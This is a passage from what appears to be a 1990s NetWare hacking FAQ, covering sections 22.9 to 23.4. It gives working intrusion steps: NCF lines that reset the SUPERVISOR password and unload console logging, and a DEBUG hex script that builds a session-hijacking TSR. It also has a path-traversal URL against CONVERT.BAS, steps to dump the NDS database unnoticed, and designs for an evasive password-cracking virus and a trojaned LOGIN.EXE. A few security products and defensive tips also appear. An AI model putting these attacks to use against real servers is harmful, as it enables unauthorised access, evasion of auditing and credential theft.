  traditionally run from the console and assume the security access of
  the console. The addition of a few lines to any .NCF file can get you
  access to that system.

  The most vulnerable file would be the AUTOEXEC.NCF file. Adding a
  couple of lines to run BURGLAR.NLM or SETPWD.NLM would certainly get
  you access. But remember there are other .NCF files that can be used
  and exploited. For example, ASTART.NCF and ASTOP.NCF are used to start
  and stop Arcserve, the most popular backup system for Netware. The
  LDREMOTE.NCF as mentioned in section 04-2 is another potential target.

  The lines you might add to such a file might be as follows:


  UNLOAD CONLOG
  LOAD SETPWD SUPERVISOR SECRET
  CLS
  LOAD CONLOG



  This assumes you had read/write access to the location of the .NCF
  file and can copy SETPWD.NLM to the server. Note that by unloading
  CONLOG you are only partially covering your tracks, in the CONSOLE.LOG
  file it will be obvious that CONLOG was unloaded and reloaded. The CLS
  is to keep your activities off of the server's screen.

  The best .NCF for this is obviously one that is either used during the
  server's boot process or during some automated process. This way a
  short .NCF and its activities may escape the eyes of an admin during
  execution.
  2222..1100..  CCaann ssoommeeoonnee tthhiinnkk tthheeyy''vvee llooggggeedd oouutt aanndd II wwaallkk uupp aanndd ttaakkee
  oovveerr??

  Yes. Here's how -

  Type the following commands at the DOS prompt (or rip them out of this
  file, and feed them into DOS debug).


  debug boo.com
  e100 eb 2b 80 fc d7 74 22 3d 02 f1 74 1d 3d 19 f2 74
  e110 18 3d 17 f2 74 0a 3d 17 f2 74 05 ea 5b 46 4d 5d
  e120 50 b0 d2 38 45 02 58 75 f2 f8 ca 02 00 b4 49 8e
  e130 06 2c 00 cd 21 b8 21 35 cd 21 89 1e 1c 01 8c 06
  e140 1e 01 b8 21 25 ba 02 01 cd 21 ba 2d 01 cd 27 00
  rcx
  50
  w
  q



  Just run it on a workstation running NetWare 2.x or 3.x, and wait for
  someone to login, use the machine, logout, and walk away. Oops. They
  forgot to logout? Now, isn't that just *bad* luck...

  Moral: If you are using a public network (such as a school or
  university), don't just use LOGOUT. Switch the machine OFF.


  2222..1111..  WWhhaatt ootthheerr NNoovveellll aanndd tthhiirrdd ppaarrttyy pprrooggrraammss hhaavvee hhoolleess tthhaatt
  ggiivvee ""ttoooo mmuucchh aacccceessss""??

  Netware NFS has several bugs, as does IntraNetware.

  For remote access, hackers always want a Shiva hooked up. You see, if
  a hacker gets a name from the internal name list, they may not need a
  user ID and password for a Novell server. If a Shiva user disconnects
  without logging out, the next person in will be in as that person --
  Shiva doesn't drop the connection!


  2222..1122..  HHooww ccaann II ggeett aarroouunndd ddiisskk ssppaaccee rreeqquuiirreemmeennttss??

  Some admins forget to implement disk space restrictions on some
  volumes, but give write access to everyone. This allows you to use
  more resources than the supe intended.

  Some systems keep user's home directories on one volume, and only
  restrict disk space on that one volume. Applications and system files
  will be kept on other volumes. Since some applications require write
  access to their directories, if the volume space is not limited, any
  user capable of running the program can use the extra disk space
  available (an e-mail program like Microsoft Mail on it's own volume
  leaps to mind). If space isn't limited on SYS, on 3.x there is the
  SYS:MAIL\xxxxxxxx directory (where xxxxxxxx is your bindery object
  ID), but this is not there by default in 4.x. However if Pegasus mail
  is being used, or if the server was migrated from 3.x to 4.x, the
  directory structure and access may be the same.


  2222..1133..  HHooww ddoo II rreemmootteellyy rreebboooott aa NNeettwwaarree 33..xx ffiillee sseerrvveerr??

  If you have access to a server via RCONSOLE it may come in handy after
  loading or unloading an NLM to reboot a server. Build an NCF file by
  doing the following steps -
  - Create a file called DOWNBOY.NCF on your local drive. It should be a text file
    and contain the following lines:

          REMOVE DOS
          DOWN
          EXIT

  - Copy up the file to the SYS:SYSTEM directory using RCONSOLE.
  - At the System Console prompt, type DOWNBOY and enter.



  What happens is this - the REMOVE DOS statement frees up the DOS
  section in server RAM, the server is downed (if there are open files,
  you will be given one of those "are you sure" messages, answer Y for
  yes), and the EXIT command tries to return the server console to DOS.
  But since you removed DOS from RAM, the server is warm booted.


  2222..1144..  WWhhaatt iiss NNeettwwaarree NNFFSS aanndd iiss iitt sseeccuurree??

  NFS (Networked File System) is used primarily in Unix to remotely
  mount a different file system. Its primary purpose in Netware is to
  allow the server to mount a Unix file system as a Netware volume,
  allowing Netware users access to Unix data without running IP or
  logging into the server, and Unix users to mount a Netware volume as a
  remote file system. If the rights are set up incorrectly you can gain
  access to a server.

  While the product works as described, it is a little hard to
  administer, as user accounts on both sides must be in sync (name and
  password) and it can be a fairly manual process to ensure that they
  are, unless the versions are Netware NFS 2.1 or greater with Netware
  4.x AND the Unix side is NOT running NIS. Simply adding the proper UID
  to the NDS object to create a relationship for rights to be passed
  back and forth. There are three modes -- Unix is God, Netware is God,
  or both are right.

  A reported problem with Netware NFS is that after unloading and
  reloading using the .NCF files, a system mount from the Unix side
  includes SYS:ETC read only access. If this directory can be looked at
  from the Unix side after a mount, .NCF and .CFG files could be viewed
  and their information exploited. For example, SYS:ETC is a possible
  location of LDREMOTE.NCF, which could include the RCONSOLE password.

  On Netware 3.11 if you ask the portmapper for an NFS handle it will
  give you one. When you give NFS the file handle it will check its
  LOCAL portmapper and then grant the request. You can then read any
  file on the mount you just made.

  Netware NFS' existence on a server says you have some Unix boxes
  around somewhere, which may be of interest as another potential system
  to gain access to.


  2222..1155..  CCaann ssnniiffffiinngg ppaacckkeettss hheellpp mmee bbrreeaakk iinnttoo NNeettwwaarree sseerrvveerrss??

  Yes. If a user is logging in and the password is being transmitted to
  the server unencrypted, it will show up as plain text in the trace. If
  the site uses telnet and ftp, capturing those password will come in
  handy. Outside of gaining access to another system, many users will
  make their passwords the same across all systems.

  RCONSOLE.EXE is the client-launched application that provides a remote
  server console to a Novell Netware file server. The connection between
  client and server allows administrators to manage servers as if they
  were at the physical server console from their desks, and allow
  virtually any action that would be performed at the server console to
  be performed remotely, including execution of console commands,
  uploading of files to the server, and the unloading and loading of
  Netware Loadable Modules (NLMs). It is not only an effective tool for
  administrators, it is a prime target for hackers.

  A critical point of access to many servers is the actual physical
  console. This is one of the main reasons why physical security of the
  server is so important and stressed by security conscious
  administrators. On many systems you have a level of access with little
  to no security. Netware is no exception.

  The main reason to hack RCONSOLE is to gain access to the Netware
  server console. No, you aren't physically there, but the OS doesn't
  know any different. And the main reason to gain access to the Netware
  server console is to utilize a tool to gain Supervisor access to the
  Netware server.

  During the RCONSOLE process, the password does come across the wire
  encrypted. If you look at the conversation you will see packets
  containing the RCONSOLE.EXE being opened, the possible servers to be
  accessed, etc. This conversation is nothing but NCP packets.

  Once RCONSOLE is up on the workstation, the user chooses the server,
  hits enter, and is prompted for a password. After entering the
  password, the conversation contains two 60 byte IPX/SPX packets going
  back and forth followed by 4 NCP packets, 64 bytes, 60 bytes, 64
  bytes, and 310 bytes in length respectively. The next IPX/SPX packet,
  186 bytes in length, contains the password. It is located at offset
  3Ah, which is easy to find. Offset 38h is always FE and offset 39h is
  always FF.

  Now comes the use of a tool called RCON.EXE from itsme that can take
  some of the information you have collected and turn it into the
  password.  What you need are the first 8 hex bytes starting at offset
  3Ah, the network address, and the node address. Now the network and
  node address are in the header of the packet that contains the
  encrypted password, but can also get these by typing USERLIST /A which
  returns this info (and more) for each person logged in.

  Now why just the first 8 hex bytes? That's all Novell uses. Great
  encryption scheme, huh?


  2222..1166..  WWhhaatt eellssee ccaann ssnniiffffiinngg aarroouunndd NNeettwwaarree ggeett mmee??

  It has pointed out that RCONSOLE sends screens in plaintext across the
  network for all to see (well, all with sniffers). This means you can
  see what is being typed in and what is happening on the screen. While
  it is not the prettiest stuff to look at, occassional gems are
  available. The best gem? The RCONSOLE password. The server had been
  brought up without REMOTE and RSPX being loaded, they were loaded by
  hand at the console after the server was brought up. The first
  RCONSOLE session brought up the screen with the lines LOAD REMOTE and
  LOAD RSPX PASSWORD (with PASSWORD being the RCONSOLE password), and
  this was being sent to the RCONSOLE user's workstation in plaintext.

  Teiwaz discovered that SYSCON sends password changes in plaintext.
  While SETPASS, LOGIN, MAP, and ATTACH all encrypt the password in 3.x,
  SYSCON does not.

  Einer kindly reminded me that sniffing will show other usernames and
  passwords such as TELNET, FTP, POP3, and others. Often users use the
  same passwords from system to system, so these passwords could be used
  to try on the Netware accounts. In large shops, the administrators of
  Netware may also have the same passwords for privileged accounts from
  system to system, so the Admin or Supervisor account may match the
  root account on a Unix box. Therefore a TELNET session that contains
  an su to root might reveil the Admin password.


  2222..1177..  DDoo aannyy NNeettwwaarree uuttiilliittiieess hhaavvee hhoolleess lliikkee UUnniixx uuttiilliittiieess??

  This is a fairly common question, inspired by stack overrun errors,
  sendmail bugs, and the like that exist in the Unix world. The reason
  you do not have these kind of exploits in common Netware utilities is
  because:


  +o  You use a proprietary shell that can be loaded without accessing
     the server, therefore no shell exploits exist.

  +o  Virtually all Netware utilities do NOT use stdin and stdout, so no
     stack overruns that exploit anything.

  +o  Since the shell is run locally, not on the server, you have no way
     to use a utility to gain greater access than you have been granted,
     like a SUID script in Unix.

  +o  Yes there are utilities like HACK.EXE that grant extra access under
     certain conditions in 3.11, but no Novell-produced utility comes
     close to granting extra access.


  2222..1188..  WWhheerree ccaann II ggeett tthhee NNeettwwaarree AAPPIIss??

  Stateside call 1-800-RED-WORD, it's $50 USD, and includes a 2-user
  license of Netware 4.1. Most brand-name compilers will work, but if
  you're writing NLMs you'll need Watcom's latest. It's the only one I
  know of that will do NLM linking.


  2222..1199..  AArree tthheerree aalltteerrnnaattiivveess ttoo NNeettwwaarree''ss AAPPIIss??

  There are a few. Here is info on them -

  Visual ManageWare by HiTecSoft at [phone]. This product allows
  development of NLMs and DOS EXEs using a Visual Basic type development
  environment. Runtime royalty-free development without C/C++ and
  without Watcom. However links are included for C/C++ programs. The
  full SDK including compilers is USD$895.00. Pricey but looks good, I
  have not used this product. Novell recently bought/licensed this
  product so the availability may have changed.

  Adrian Cunnelly recently made his C libs for Netware free. You can
  reach him at [e-mail].  These include the source
  code. Check SimTel mirrors in the msdos/c/ directory for netclb30.zip

  And take a look at Greg Miller's site, especially for those Pascal
  coders out there at http://www.users.mis.net/ gregmi/.

  Pandora v3.0 includes its own API, the Pandora Toolbox API, written by
  Jitsu-Disk. While the project was intended for hackers and not admins,
  some coders might find it to be a useful package. It is available at
  http://www.nmrc.org/pandora/index.html
  <http://www.nmrc.org/pandora/index.html>.

  The "GNU Novell Client" project gives a unique insight on the NCP
  protocol, it can be downloaded at
  http://sunsite.unc.edu/pub/Linux/system/remotefs/ncpfs/ncpfs-2.0.0.tgz
  <http://sunsite.unc.edu/pub/Linux/system/remotefs/ncpfs/ncpfs-2.0.0.tgz>.
  It has tons of source code included.


  2222..2200..  HHooww ccaann II rreemmoovvee NNDDSS??

  This one is dangerous. This one will get you your Admin account back
  if you lost the password, and is not for the light-hearted if you plan
  on actually using NDS afterwards. Do this at a 4.1 console:

  LOAD INSTALL -DSREMOVE

  Now in the INSTALL module, go ahead and try to remove NDS. As a part
  of the process, it will ask you for the Admin password, get this, JUST
  MAKE ONE UP. If you get errors, no problem. Keep going and you can
  remove NDS from the server. Even though you gave it the wrong
  password, it will still let you remove NDS. I told you this one is
  real wicked...


  2222..2211..  WWhhaatt aarree sseeccuurriittyy ccoonnssiiddeerraattiioonnss rreeggaarrddiinngg ppaarrttiittiioonnss ooff tthhee
  ttrreeee??

  Most of this is covered as individual items, but here is a bit
  regarding partitioning of the tree.

  As mentioned in the password section, you can set the bindery context
  of a server to help you recover a lost ADMIN password. It should be
  noted that you can only access containers in the current servers
  partition.

  With larger networks things get more complex. For example, a
  "supervisor" account (one with full access to the file system) may
  have limited access on another server. The number of possible leaks
  for intruders grows with the size of the network.

  A hacker could exploit this and gain control of other partitions, if
  any object in the first partition they have compromised has access
  rights to other directory partitions. Intruders could easily give
  themselves security equivalence to that object, or change that objects
  password with SYSCON, then login as that object and access the other
  partitions.

  In other words, if a read/write or master partition is stored on one
  server, its supervisor can potentially manage all objects in this
  partition, and since its supervisor's password can be reset from the
  console, other partitions are at risk.

  Read/only replicas of partitions by nature will not allow you to set
  your bindery context to a container in that area -- they are, duh,
  read only. Of course the brave can disconnect the server from the
  network, and run DSREPAIR on that server to change the partition to
  master, but that's rather extreme.

  Novell recommends trying to restrict object rights to their own
  partition and to create replica partitions only on trusted server.
  Let's use an example to illustrate:


  +o  Server ACCOUNTING has lots of spreadsheets, documents, and a
     database used by the accounting department with all kinds of
     information. The container ACCT-USERS has the IRF set so that they
     manage themselves.

  +o  There is an account called MAINTENANCE in the ACCT-USERS container
     that the manager of accounting can reset the password. This is done
     when the LAN administrators need to perform any kind of
     maintenance, such as building IDs with tricky access rights, etc.
     that the accounting manager doesn't know how to do.

  +o  A read/write replica of the partition containing the ACCT-USERS
     container exists on a server across town in a small sales office. A
     temporary office clerk hired from a local temp agency has access to
     the storage closet where this server is kept.

  +o  One afternoon the temporary uses SETPWD.NLM and resets the
     MAINTENANCE account password.

  +o  The next day (after replication) the temporary rifles through all
     accounting documents which include payroll and personal
     information, sales forecasts, future plans for capital expenditure,
     etc.


  2222..2222..  CCaann aa ddeeppaarrttmmeenntt ""SSuuppee"" bbeeccoommee aa rreegguullaarr AAddmmiinn ttoo tthhee eennttiirree
  ttrreeee??

  Yes, under certain conditions. Here is an example.


  +o  The tree has an OU called LAWDEPT.

  +o  The Admin account is at the root of the tree.

  +o  A departmental supervisor account called FRED is located in LAWDEPT
     with Admin rights to the LAWDEPT OU (a Trustee of LAWDEPT and supe
     rights to objects and properties).

  +o  Server LawServer is in the LAWDEPT OU with two bindery contexts,
     one in the LAWDEPT OU and one at the root (so Admin can login via
     the bindery if needed)

  +o  Although FRED only has browse at the root, he can run SYSCON and
     modify the Admin account to gain more access, like say the
     password.

  +o  If FRED is a psychopath, he can delete the Admin account and render
     tree management useless.


  2222..2233..  AArree tthheerree pprroodduuccttss ttoo hheellpp iimmpprroovvee NNeettwwaarree''ss sseeccuurriittyy??

  While there are a number of products, commercial and shareware/public
  domain that have some security-related features, the following
  products are either really good or have some unique features.

  There is a commercial product called SmartPass, which runs as an NLM.
  Once installed, you can load this and analyze existing passwords for
  weaknesses. A limited-time free demo can be obtained from the
  following address:

  http://www.egsoftware.com/ <http://www.egsoftware.com/>

  SmartPass will check passwords on the fly, so a user can be forced to
  use a non-dictionary word for a password.

  Another commercial product product that will check from a dictionary
  word list and simply report if the password is on the list is Bindview
  NCS. The bindery version is god-awful slow, but completely accurate.
  It requires Supe access to run. Bindview can also produce a number of
  reports. including customized reports to give you all kinds of info on
  the server and its contents. The new Bindview NDS product is even
  better. Running as an NLM the password-checking is lightning fast at
  spitting out account names that are using poor passwords. It can do
  several thousand checks vs. the one-per-couple-of-seconds speed of the
  bindery version. You can still use the slow across-the-network method
  if you desire, but this is only for those who like slow torture. The
  new reporting features are fabulous, and since they can be customized
  the wily sys admin can have custom security reports (among other
  things).

  http://www.bindview.com/ <http://www.bindview.com/>

  For doing Auditing on a 3.x version of Netware, try AuditTrack. It
  will track all access to a directory or individual file by user, which
  can come in handy for seeing who is doing what. Out of the box Netware
  3.11 has virtually no way to track what an individual user is doing,
  but the AuditTrack NLM helps greatly. E.G. Software, the developer,
  can be reached at:

  http://www.egsoftware.com/ <http://www.egsoftware.com/>

  Intrusion Detection Systems puts out a commercial product called Kane
  Security Analyst. It is considered by many to the "SATAN" of Netware.
  One of its abilities is locating hidden objects in the NDS tree. For a
  good demo, a 30 day trial version, and more info:

  http://www.intrusion.com/ <http://www.intrusion.com/>

  "SafeWord for Netware Connect" is an NLM that does password checks in
  a Netware Connect environment:

  http://www.safeword.com/nwcspec.html
  <http://www.safeword.com/nwcspec.html>

  There is a product called Password Helper that "enhances" the security
  around the changing of passwords for 3.x. It is a local EXE/server NLM
  product that allows non-Supe users to reset passwords.

  Which product is best? Two stand out -- Bindview NDS and Kane Security
  Analyst. KSA is more of a security-type product and has some neat
  features, but Bindview's customization allows for more details to be
  explored. NMRC uses Bindview on its 4.x servers (okay they sent a free
  copy, but it is still good and if it had sucked I would have told you
  that. My day job uses it too).


  2222..2244..  IIss NNeettwwaarree''ss WWeebb sseerrvveerr sseeccuurree??

  Novell's Web Server had a HUGE bug. The CGI scripts are Basic programs
  (yes you are about to hack a server using Basic!) and several are
  included with the server. One in particular, CONVERT.BAS, takes a file
  and converts it to HTML and then sends it to the user. Here's an
  example for www.target.com:


      http://www.netware.nmrc.org/scripts/convert.bas?readme.txt



  The README.TXT file is returned as HTML. Now here's the bug:


      http://www.netware.nmrc.org/scripts/convert.bas?../../any_file_on_sys_volume



  Nasty, huh? I recommend "../../system/autoexec.ncf", or
  "../../etc/ldremote.ncf". It can also be useful for other things (see
  06-2 for an example). This has been fixed in the latest version of
  Novell's IntranetWare.


  2222..2255..  WWhhaatt''ss tthhee ssttoorryy wwiitthh NNeettwwaarree''ss FFTTPP NNLLMM??

  With IntranetWare, the FTP NLM has a couple of problems. The standard
  installation gives Read and File Scan access to SYS:ETC so anonymous
  users can access files in that directory. This is a problem if you use
  INETCFG to configure RCONSOLE and then don't go back and encrypt the
  password in the file. The SNMP community password is in this
  directory, to say nothing about protocols, addresses, and other
  configuration information.

  The wily Admin can turn off the rights, but guess what? Doing this
  breaks the logging feature.

  The other major problem on Netware 4.1 with FTPSERV.NLM is that some
  users logging in via FTP are granted excessive rights. Stopping and
  starting the NLM seems to put the rights back the way they are
  supposed to, but then they seem to come back to FULL rights. Using
  Fetch as an FTP client tends to make this happen all of the time.

  While it does seem possible that going in and checking effective
  rights, checking bindery rights via SYSCON, and checking UNICON might
  turn up something, it seems that installed out of the box 4.1 is
  vulnerable. I am unsure if 4.11 is affected, but my guess is yes. The
  problem? If NFS file space isn't used, certain clients like Fetch and
  Cute FTP will end up with Supe rights to the volume.


  2222..2266..  CCaann aann IInnttrraanneettWWaarree sseerrvveerr bbee ccoommpprroommiisseedd ffrroomm tthhee IInntteerrnneett??

  This is a tricky question, however it is POSSIBLE. I've been working
  on the right set of conditions in the lab, and I have got it to
  happen. However it involves a LOT of conditions. But these conditions
  are not entirely out of the question.

  First, variations on the answers outlined in the previous two
  questions could be used to gain initial access. For example, if a
  poorly constructed CGI script was put in place that allowed write
  access to the server and could be redirected, additions could be added
  to NCF files.

  For example, imagine that a CGI script is in place to add a line of
  text to a file, such as a mailing list. If this CGI script could be
  redirected, adding a few lines to SYS:ETC\LDREMOTE.NCF or
  SYS:SYSTEM\AUTOEXEC.NCF could give you complete access. Such lines
  might include:


          UNLOAD REMOTE
          LOAD REMOTE HACKPASSWORD
          LOAD XCONSOLE



  Now simply telnetting to the server, using "hackpassword", and
  choosing VT-100 will give you remote console access after the next
  reboot.

  Can't telnet past that NLM-based firewall? Add the commands to the NCF
  file to simply unload it! You can reload it after you've gained
  access, if you desire.


  Access via Novell's FTP NLM is another problem. If you can gain access
  to the server via FTP and get read/write access to the SYS: volume,
  you can alter NCF files and open up all kinds of access.

  So what kinds of damage can be done? Grab passwords!

  If you have gained access via techniques previously described, you can
  grab the password file(s). Novell has stated publicly it cannot
  happen, yet I have done it in the NMRC lab.

  First off, the NDS files are located in the SYS:_NETWARE directory.
  You would of course have to gain access to these files. And there are
  a couple of ways to do this. You can use the techniques described in
  the Netware Console Attack section, which will allow all kinds of
  things. But let's say the administrator of the server has removed
  NETBASIC, and you can't upload a file like JCMD.NLM. You are not
  entirely sunk.

  As stated elsewhere in this FAQ, running a BINDFIX on Netware 3.x made
  a copy of the bindery files in SYS:SYSTEM. To get that 4.11 backup
  file, you need to run the equivalent utility from the console. And it
  is very simple.


  1. If possible, wait until no one is logged in, as it will be
     noticable.  During this process no one can log in, although users
     already logged in should be okay.

  2. UNLOAD CONLOG (duh)

  3. LOAD DSMAINT

  4. Choose the option to prepare for an upgrade.

  5. This process creates a complete backup of NDS and the login
     scripts, and puts it in SYS:SYSTEM. The file is called BACKUP.DS.
     Use the problem with FTP.NLM to get it, or simply load up FTP.NLM
     if it isn't running.


  2222..2277..  AArree tthheerree aannyy pprroobblleemmss wwiitthh NNoovveellll''ss GGrroouuppwwiissee??

  There is some concern about the ability to proxy another user's
  mailbox and calendar with Groupwise version 5.2. This attack seems to
  exclude those with admin rights. The hacker is unable to read the
  user's files, but he can send email representing the hacker as the
  user. NMRC is investigating this issue and will be sure to post the
  results.


  2222..2288..  AArree tthheerree aannyy pprroobblleemmss wwiitthh NNeettwwaarree''ss MMaacciinnttoosshh nnaammeessppaaccee??

  A hacker can make changes to the resource fork files without having
  modify rights. If write rights are removed, the files are secure, but
  nothing can be added to the directory.


  2222..2299..  WWhhaatt''ss tthhee ssttoorryy wwiitthh bbuuffffeerr oovveerrfflloowwss oonn NNeettwwaarree??

  Buffer overflows do exist on Netware. Most buffer overflow exploits
  try to get the CPU to execute arbitrary code to gain higher levels of
  access to a system. Even though Novell says Netware NLMs run in
  protected memory and that problems with NLMs should not bother other
  NLMs, basically all Netware buffer overflows simply abend the server.
  This is the basis for many Denial of Service attacks against Netware.

  2233..  NNeettwwaarree MMaatthheemmaattiiccaall//TThheeoorreettiiccaall IInnffoo

  This section has information regarding Netware, crypto, math, and
  theories regarding all of this.


  2233..11..  HHooww ddooeess tthhee wwhhoollee ppaasssswwoorrdd//llooggiinn//eennccrryyppttiioonn tthhiinngg wwoorrkk??

  In 3.x and 4.x, passwords are encrypted. Here is the rough way in
  which 3.x handles this -


  1. Alice sends a login request to the server.

  2. The server looks up Alice's name and retreives her UID. The server
     also generates a random value R, and sends the (UID,R) pair to
     Alice.

  3. Alice generates X=hash(UID,password) then Y=hash(R,X). Alice then
     sends Y to the server.

  4. The server retreives the stored value X'=hash(UID,password), and
     computes Y'=hash(X',R). If Y=Y' Alice is granted access.

  5. Both Alice and the server compute Z=hash(X,R,c) (c is some constant
     value). Z is then used as the signature key for the current
     session.

  Note: The last step is only done if both Alice and the server agree to
  sign packets.

  The NetWare 4.x login sequence (4.x uses a private/public key scheme
  using RSA):


  1. Alice requests a login from the server.

  2. The server generates a random value R, and retrieves X'=hash(UID,
     password), and also computes Y'=hash(X',R). R is sent to Alice.

  3. Alice computes X=hash(UID,password) and Y=hash(X,R). Alice
     generates a random value R2, retrieves the servers public key and
     sends the pair (Y,R2) to the server encrypted with the server's
     public key.

  4. The server decrypted the (Y,R2) pair. If Y=Y', the password Alice
     gave is correct. The server retrieves Alice's private key, computes
     Z=(Alice's private key XOR R2) and transmits Z to Alice.

  5. Alice computes private_key=R2 XOR Z. This key is used to sign
     packets.

  It should be noted that Netware 4.x encrypts Alice's RSA private key
  with X' when it's stored on the server.


  2233..22..  AArree ""mmaann iinn tthhee mmiiddddllee"" aattttaacckkss ppoossssiibbllee??

  In theory, by looking at the methods outlined in the previous
  question, there are several possibilities. First, Netware 3.x -

  This is a variation of the Man-In-The-Middle attack used to attack
  public key cryptosystems. A real MITM attack will also work, but the
  link must be shut down in order to implement a MITM attack, and
  someone is likely to know something is up.

  This attack requires that Bob (the attacker) be capable of sending
  packets to both the server and Alice (the user attempting to login)
  faster than the server and Alice can send packets to each other. There
  are a number of ways to set up this scenario. The best way is to
  implement a MITM attack by either by attacking a router, or by
  segmenting the wire between the server and Alice.

  Another way is to gain two entry points into the network (one close to
  Alice, the other close to the server). The best way to do this is to
  wire two hosts together in the specified locations. If using wire is
  infeasable (which in most cases it will be), Bob can use wireless
  network cards, or modems plugged into existing phone jacks, or modems
  with cellular capability. If modems are used, the attack will require
  Bob to take control of two computers on the network, and will increase
  the time needed to get packets to Alice or the server.

  This attack will not work if the server requires Alice to sign
  packets. Alice's workstation may be set up to sign packets, and Alice
  can still use signed packets, and the attack will still work. However,
  if all hosts are required to sign packets, the attack won't work. This
  is because Bob will never know Alice's password, nor will he ever know
  X=hash(UID,password). Since NetWare 3.x defaults to allowing the host
  to decide wether or not to sign packets, this attack is still
  feasable. Sysadmins can defeat this attack by requiring packet
  signatures for all hosts.

  The attack:

  When Bob sees Alice request a login, Bob also requests a login as
  Alice from. The server will generate two random values (R[a] and R[b],
  denoting the R sent to Alice and the R sent to Bob respectivley). When
  Bob receives R[b], he spoofs the servers address and sends R[b] to
  Alice. Alice will think the server requested Alice to compute
  Y[b]=hash(X,R[b]) rather than what the server really intended:
  Y[a]=hash(X,R[a]). Alice will then send Y[b] to the server, Bob will
  sniff Y[b] from the network as Alice sends it, and transmit it to the
  server (using his real address). At this point the server will think
  Alice has attempted to login twice. Bob's attempt will work, and
  Alice's attempt will fail. If all went well, Bob has assumed the
  identity of Alice without knowing her password, and Alice is re-typing
  in her password.

  If the server won't allow the same user to login twice simultaneously,
  or ever aborts both login sequences after retreiving two responses to
  the same question, then Bob should saturate a network (but not shut it
  down completely) between Alice and the server while Bob is attempting
  to login as Alice.

  For the ultra paranoid: Bob should be careful, there may be another
  attacker, Joe, just waiting for Alice to login with packet signing
  turned off. Here Joe can also assume the identity of Alice with
  significantly less effort.

  Now let's discuss Netware 4.x:

  The attack follows the Netware 3.x attack until Alice attempts to
  retrieve the server's public key. At this point Bob sends his own
  public key to Alice.  Alice will then send the server the pair (Y,R2)
  encrypted with Bob's public key. Bob sniffs this information off the
  network, decrypts the pair (Y,R2).  Then generates his own R2 (or
  keeps the one Alice chose), retreives the real public key of the
  server and sends the server the pair (Y,R2) encrypted with the
  server's real public key.

  If server the is requiring packet signature, the server will then send
  Bob Z to allow him access as Alice. Bob doesn't know Alice's private
  key, as he never receives it. Remember that Netware 4.x encrypts
  Alice's RSA private key with X' when it's stored on the server, and is
  never send unencrypted on the wire. So Bob can't sign packets as
  Alice.

  But Bob is not completely out of luck yet. Bob can try an offline
  attack at guessing Alice's password since he knows Y', R and Alice's
  UID. Bob needs to find X, such that Y=hash(X,R) = Y'. Since it's
  likely that Alice's password in not a particularly good one, this is a
  severe reduction in security, but not a total breach, since Bob can
  compute X by finding a password such that X=hash(pass,UID). Once Bob
  knows X, he can determine what Alice's private RSA key is. THEN he can
  sign packets.

  It should be noted that Alice may cache the server's public key for
  the second login attempt. If this is true, Alice won't be able to
  login and may notice what has happened. But Alice's private RSA key
  will never change, and once that is attained is doesn't matter even if
  Alice changes her password.  Alice's password can still be discovered.


  2233..33..  AArree NNeettwwaarree--aawwaarree vviirruusseess ppoossssiibbllee??

  A NetWare aware virus could allow an attacker to gain access to a
  large number of servers available on the network.

  Using one of the strategies used by the Internet Worm of 1988 combined
  with simple virus strategy, a virus can be constructed to infect many
  clients/servers across many networks (the virus could also employ
  attacks similiar to HACK.EXE or even Man-In-The_Middle attacks).  Some
  NetWare networks will have a large number of servers attached. It's
  also true that most users (including Supe and Admin) will use the same
  password on many different servers (some may have no password at all).
  A virus could exploit this vulnerability and spread to other servers
  which it otherwise would not have access to. The virus could also use
  the idle CPU time on infected clients to crack the passwords of other
  users.

  However, care must be taken not to give the virus away by setting off
  intruder detection alarms. The virus should randomly select one user
  from a randomly selected server attempt to login using a randomly
  selected word from a wordlist. How often the client should attempt
  logins depends upon the size of the network (remember that if the
  virus succeeds, there may be 10s of thousands of clients breaking
  passwords in parrallel).

  The virus should estimate the size of the network, and use laws of
  probibility to determine how often to attempt a break in so that no
  account is tried twice in the same hour. This should be calculated by
  relating the number of unique accounts, the number of clients
  (estimated by monitoring network traffic and assuming all servers have
  the same number of clients on their network. While this is not 100%
  accurate, this should be accurate enough for our purposes.

  Some the estimated success rate of the virus (measured in propagation
  delay for infecting hosts per day from a single host), and the length
  of time the virus has been running should be considered. Using
  A=number of unique accounts, P = propagation delay, and n = number of
  days virus has been running, then the following computes the number of
  guesses the client should make per hour: (A*24)/(P^n).

  What should or could this virus do? Well, if it is running on a
  workstation with a network card, we could sniff logins. Since R and
  hash(X,R) are sent in the clear, the virus could attempt an offline
  computational attack against X, thus avoiding a brute force attack
  that could trigger intruder detection. The virus can't use the MITM
  attacks on the login sequence because it doesn't have the required
  wiring topology neccessary to implement the attack. Yes, you COULD try
  and build that in but then it probably would be too big and
  noticeable. Remember, we're talking virus, not stand-alone
  application.


  2233..44..  CCaann aa ttrroojjaanneedd LLOOGGIINN..EEXXEE bbee iinnsseerrtteedd dduurriinngg tthhee llooggiinn pprroocceessss??

  Apparently so.

  Here is a different perspective of the login sequence which is common
  to all versions of NetWare:


  1. The workstation attaches to the server.

  2. The workstation maps a drive to the server's SYS:\LOGIN directory.

  3. The workstation downloads LOGIN.EXE from the server and executes
     it.

  4. If the user is authenticated, the workstation downloads and
     executes the login script.

  The hole in this protocol is when the workstation downloads LOGIN.EXE.
  Since the user isn't logged in, there is no packet signing available,
  thus any workstation is capable of impersonating the server. Here the
  attacker can simply sniff the request to download LOGIN.EXE from the
  network, and then send the workstation ANY program in return and the
  workstation will execute it.

  The optimal attack here would be to send a modified copy of the real
  LOGIN.EXE file. The modified EXE could encrypt the user's password
  (using public key crypto) and broadcast it to the network. However,
  the modified EXE could also carry out the login handshake as normal
  and log the user in and executing the login script. With this attack,
  the target user would have no way of identifying that anything out of
  the ordinary has happened. It appears that NetWare always starts with
  the sequence numbers at 0 and increments seq + 1 from there for the
  remainder of the session. Thus it's possible to predict the sequence
  numbers. This will allow the attacker to exploit the hole without
  using a MITM attack and still allow the conversation to continue
  normally by using only a single workstation.

  The attack can also be carried out by any single host on the network
  which is capable of sniffing the request to download LOGIN.EXE. It's
  also possible to do this even if the workstation and the server are on
  the same network (if and only if the server is slower responding to
  requests than the attacker's machine). Here the attacker just makes up
  the sequence numbers, and sends the workstation a phony LOGIN.EXE
  which will broadcast the user's password (again, encrypted) over the
  network and then re-boot the machine. (It's also possible for the
  attacker to log the user in and have the attack transperent to the
  user. In this case, the attacker would have to sniff one of the
  server's packets off the network, and re-send it to the workstation
  with adjusted sequence numbers so that the workstation's next ACK will
  synch with the server's sequence numbers. Note that the attacker will
  have to artificially ACK the packets the server sends when the client
  tries to download LOGIN.EXE.)

  It's been stated that only the first few bytes of NetWare packets are
  signed. That means the user can not only modify LOGIN.EXE on the fly,
  but can modify any program on the fly.


